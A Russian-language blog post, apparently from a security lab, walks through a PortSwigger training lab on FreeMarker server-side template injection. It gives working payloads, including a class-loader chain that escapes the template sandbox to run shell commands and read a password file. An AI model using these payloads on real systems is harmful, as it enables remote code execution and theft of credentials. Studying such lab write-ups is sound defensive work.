Привет, Хабр, на связи лаборатория кибербезопасности компании AP Security!  Сегодня речь пойдет о том, как можно использовать уязвимость внедрения шаблонов на стороне сервера (SSTI), когда сервер жертвы находится в изолированной среде (песочнице), при которой можно добиться удаленного выполнения кода (RCE). Всем приятного прочтения!

Дисклеймер

Все методы примененные в статье продемонстрированы в учебных целях.

Введение

Идея рассказать об этом появилась потому, что до сих пор я не нашёл ни единой информации об этом на русском сегменте Интернета. Собственно и почему я считаю эту тему вполне актуальной.

Пример уязвимого для SSTI кода

Представьте себе следующий Java-код для простой функции приветствия.

public static String helloName(String name) {
  StringTemplateLoader stringTemplate = new StringTemplateLoader();
  Configuration configuration = new Configuration(Configuration.VERSION_2_3_28);
  configuration.setTemplateLoader();

  stringTemplate.putTemplate("template", "Hello " + name + "!");

  Template template = configuration.getTemplate("template");
  Writer writer = new StringWriter();
  template.process(null, writer);

  return writer.toString();
}

Здесь переменная имени предоставляется пользователем и используется непосредственно в коде шаблона. Это базовая инъекция шаблона.

Вот как выглядит шаблон после подстановки переменной:

$name=Riko

Запрос будет выглядеть следующим образом:

Hello Riko!

Теперь мы можем попробовать внедрить сюда нагрузку выполнения простейшей арифметической операции, для того, чтобы удостовериться, что наш запрос обрабатывается на стороне сервера:

$name=${7*7}

Когда $name является валидным кодом, сервер интерпретирует его и выдает результат. Вместо результата Hello ${77}! пользователь получит Hello 49!

Но это не единственное, что может сделать злоумышленник в таком сценарии. Используя внутреннюю функцию из Freemarker, можно сделать гораздо больше, например:

${"freemarker.template.utility.Execute"?new()("id")}

Как правило, песочницы используют для запуска непроверенного кода из неизвестных источников, как средство проактивной защиты. Это значит, что находясь в песочнице, большинство функций, которые мы можем использовать в качестве нагрузки, не выполняются. Но мы же понимаем, что "большинство" это не все, поэтому давайте разбираться, что мы можем сделать.

В качестве примера, я использую лабораторную работу PortSwigger Academy:

Разведка

Как мы видим из описания, в лабораторной работе используется шаблонизатор FreeMarker, который уязвим к SSTI, и, чтобы пройти лабораторную работу, мы должны выйти за пределы песочницы и прочитать пароль пользователя Carlos из файла my_password.txt в его домашнем каталоге.

Итак, давайте разбираться.

Нас встречает сайт магазина, в которо�� можно посмотреть детали каждого продукта, а также авторизоваться, но об этом попозже.

Нажмем на какой-нибудь из товаров и посмотрим, что там есть.

Неавторизованный пользователь видит только описание продукта и ничего более. Давайте попробуем авторизоваться под пользователем content-manager:

После авторизации, мы видим, что можно сменить почту (потенциально может быть уязвимым), но SSTI тут и не пахнет, поэтому пройдём дальше в описание продукта. Как и предполагалось, контент-менеджер может изменять содержание описания товара, нажав на появившуюся кнопку Edit template (название говорит само за себя).

Точка опоры

Я использовал классическую нагрузку, для того, чтобы удостовериться, что движок выполняет базовые арифметические операции:

Отлично, но теперь давайте посмотрим, что возможно сделать с этим.

Посмотрев документацию шаблонизатора FreeMarker я понял, что класс freemarker.template.utility.Execute из пакета freemarker.template.utility предоставляет ему возможность выполнения внешних команд. Используя этот класс, можно запускать команды из шаблонов FreeMarker.

Давайте попробуем использовать обычную нагрузку из этого кл��сса, чтобы просмотреть реакцию сервера:

${"freemarker.template.utility.Execute"?new()("ls")}

Увы, при попытке инъекции произошла ошибка, в результате которой была создана трассировка стека.

И тут я начал копаться в документации FreeMarker, в результате чего заметил, что движок допускает объявление новых переменных с помощью специальных символов <>.

Можем также заметить, что есть доступ к объекту product, к которому сервер обращается, чтобы вывести цену, количество и название товара. Тогда создадим нужные нам переменные в этом объекте.

Пишем нагрузку

Для начала присвоим значение article.class.protectionDomain.classLoader к переменной classloader. Это позволит получить доступ к загрузчику классов, связанному с доменом защиты объекта product.

<#assign classloader=product.class.protectionDomain.classLoader>

Теперь с помощью метода loadClass объекта classloader загрузим класс freemarker.template.ObjectWrapper. Это позволит получить доступ к методам и свойствам класса ObjectWrapper, которые используются для выполнения различных операций и получения информации, связанной с оберткой объектов в шаблонизаторе Freemarker.

Загрузив класс ObjectWrapper, мы можем взаимодействовать с его функциональностью и использовать его возможности в коде. Это включает в себя работу с оберткой, манипулированием и рендерингом объектов в контексте шаблонов Freemarker.

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

Выражение owc.getField("DEFAULT_WRAPPER") используется для получения объекта Field, представляющего поле с именем DEFAULT_WRAPPER в классе ObjectWrapper. Метод getField используется для получения поля по его имени.

После этого на объекте Field вызывается метод .get(null) для получения значения поля. Поскольку поле является статическим и не требует создания экземпляра, в качестве аргумента передается null.

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

Эта строка отвечает за присвоение значения, полученного из classloader.loadClass("freemarker.template.utility.Execute")в переменную ec.

Вот что происходит в теории:

  • Вызывается метод loadClass объекта classloader, который пытается загрузить класс с именем freemarker.template.utility.Execute.

  • Возвращенный объект класса ��рисваивается переменной ec.

  • Класс Execute - это класс-утилита в Freemarker, который, предоставляет возможность выполнения определенных операций в шаблонизаторе.

Таким образом, строка загружает класс Execute с помощью метода loadClass и присваивает его переменной ec. Это позволяет потенциально использовать возможности или методы класса Execute в следующей нагрузке:

${dwf.newInstance(ec,null)("ls")}

Эта строка отвечает за создание нового объекта dwf, который имеет значение поля DEFAULT_WRAPPER.

Метод newInstance вызывается в объекте dwf, провоцируя создание нового экземпляра. В качестве аргумента конструктора при создании нового экземпляра передается объект ec. Полученный экземпляр сразу же вызывается как метод с аргументом ls.

Окончательная нагрузка будет выглядеть следующим образом:

<#assign classloader=product.class.protectionDomain.classLoader>   
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>  
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>   
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> 
${dwf.newInstance(ec,null)("ls")}

Он обойдет песочницу и выполнит команду.

Остаётся только поменять ls на cat my_password.txt и лабораторная решена!

Заключение

Для того, чтобы написать собственный эксплойт с использованием цепочки объектов, первым шагом является идентификация объектов и методов к которым у вас есть доступ. Некоторые объекты могут сразу показаться интересными. Комбинируя собственные знания и информацию, представленную в документации, вы сможете составить свой список объектов, которые необходимо изучить более тщательно, для создания собственной нагрузки